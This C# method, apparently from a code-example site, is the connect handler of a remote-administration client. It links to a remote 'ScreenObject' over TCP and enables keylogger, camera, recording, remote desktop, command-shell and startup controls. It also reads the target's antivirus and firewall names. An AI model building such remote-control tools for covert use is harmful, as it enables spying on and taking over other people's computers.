Exemplo n.º 1
0
        public void ConnectToServer()
        {
            if (IsAddressValid(tbServerIP.Text))
            {
                if (connected == false)
                {
                    try
                    {
                        ChannelServices.RegisterChannel(channel, false);
                        //thuoc tinh nay chi dc set 1 lan,vi the neu co,khi disconnect va connect ->error
                        // RemotingConfiguration.CustomErrorsMode = CustomErrorsModes.Off;
                        hostInstance = (ScreenObject)Activator.GetObject(typeof(ScreenObject), "tcp://" + tbServerIP.Text + ":8088/ScreenObject");
                        //   hostInstance = new ScreenObject();


                        MessageBox.Show("Connected to " + hostInstance.GetComputerName() + ":8088");

                        btActivePort.Enabled = true;
                        btClipBoard.Enabled  = true;
                        btCMD.Enabled        = true;

                        btFileManager.Enabled   = true;
                        btFun.Enabled           = true;
                        btInstall.Enabled       = true;
                        btKeylogger.Enabled     = true;
                        btProgram.Enabled       = true;
                        btRegistry.Enabled      = true;
                        btRemoteDesktop.Enabled = true;
                        btService.Enabled       = true;
                        btStartup.Enabled       = true;
                        btSystemInfo.Enabled    = true;
                        btWindow.Enabled        = true;
                        btAbout.Enabled         = true;
                        btConnect.Text          = "Disconnect";
                        btCamera.Enabled        = true;
                        btRecord.Enabled        = true;
                        tbServerIP.Enabled      = false;
                        connected = true;

                        //system info
                        listViewItem      = new ListViewItem();
                        listViewItem.Text = tbServerIP.Text;

                        listSubItem      = new ListViewItem.ListViewSubItem();
                        listSubItem.Text = hostInstance.GetComputerName();
                        listViewItem.SubItems.Add(listSubItem);

                        listSubItem      = new ListViewItem.ListViewSubItem();
                        listSubItem.Text = hostInstance.GetUserName();
                        listViewItem.SubItems.Add(listSubItem);

                        listSubItem      = new ListViewItem.ListViewSubItem();
                        listSubItem.Text = hostInstance.GetOSVersion();
                        listViewItem.SubItems.Add(listSubItem);

                        listSubItem      = new ListViewItem.ListViewSubItem();
                        listSubItem.Text = hostInstance.GetRam();
                        listViewItem.SubItems.Add(listSubItem);

                        listSubItem      = new ListViewItem.ListViewSubItem();
                        listSubItem.Text = hostInstance.GetAntiVirus();
                        //test cho win xp
                        // listSubItem.Text = "Bkav";
                        listViewItem.SubItems.Add(listSubItem);

                        listSubItem      = new ListViewItem.ListViewSubItem();
                        listSubItem.Text = hostInstance.GetFirewall();
                        //test cho winxp
                        //listSubItem.Text = "Firewall";
                        listViewItem.SubItems.Add(listSubItem);

                        this.listViewServers.Items.Add(listViewItem);
                    }
                    catch (Exception ex)
                    {
                        MessageBox.Show(ex.Message);
                        //Unregister the TCP Channel
                        ChannelServices.UnregisterChannel(channel);
                    }
                }
                else if (connected == true)
                {
                    //Unregister the TCP Channel
                    ChannelServices.UnregisterChannel(channel);
                    listViewServers.Items.Clear();
                    connected            = false;
                    btConnect.Text       = "Connect";
                    btActivePort.Enabled = false;
                    btClipBoard.Enabled  = false;
                    btCMD.Enabled        = false;

                    btFileManager.Enabled   = false;
                    btFun.Enabled           = false;
                    btInstall.Enabled       = false;
                    btKeylogger.Enabled     = false;
                    btProgram.Enabled       = false;
                    btRegistry.Enabled      = false;
                    btRemoteDesktop.Enabled = false;
                    btService.Enabled       = false;
                    btStartup.Enabled       = false;
                    btSystemInfo.Enabled    = false;
                    btWindow.Enabled        = false;
                    btAbout.Enabled         = false;
                    btCamera.Enabled        = false;
                    btRecord.Enabled        = false;
                    tbServerIP.Enabled      = true;
                }
            }
            else
            {
                MessageBox.Show("Invalid IP Address");
            }
        }